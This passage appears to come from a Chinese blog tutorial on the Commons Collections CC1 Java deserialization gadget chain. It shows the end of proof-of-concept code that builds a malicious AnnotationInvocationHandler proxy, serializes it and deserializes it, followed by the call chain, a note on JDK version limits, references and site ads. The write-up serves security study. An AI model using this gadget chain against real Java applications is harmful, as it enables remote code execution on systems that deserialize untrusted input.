construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); FileOutputStream fileOutputStream = new FileOutputStream("./cc1.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(handler); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream("./cc1.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); objectInputStream.close(); fileInputStream.close(); } }
调用链
AnnotationInvocationHandler.readObject() ->$Proxy.entrySet()动态代理执行AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() (循环回调) ->InvokerTransformer.transform()
last
上述的POC在高版本的JDK并不适用,下述的JDK版本不同,实现的readobject的方式已经变更。
参考
1、https://www.freebuf.com/vuls/325843.html
2、https://www.cnblogs.com/zhuangshq/p/16020283.html
3、https://www.freebuf.com/vuls/325843.html
4、https://xz.aliyun.com/t/7031#toc-8
5、 https://www.cnblogs.com/litlife/p/12571787.html
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析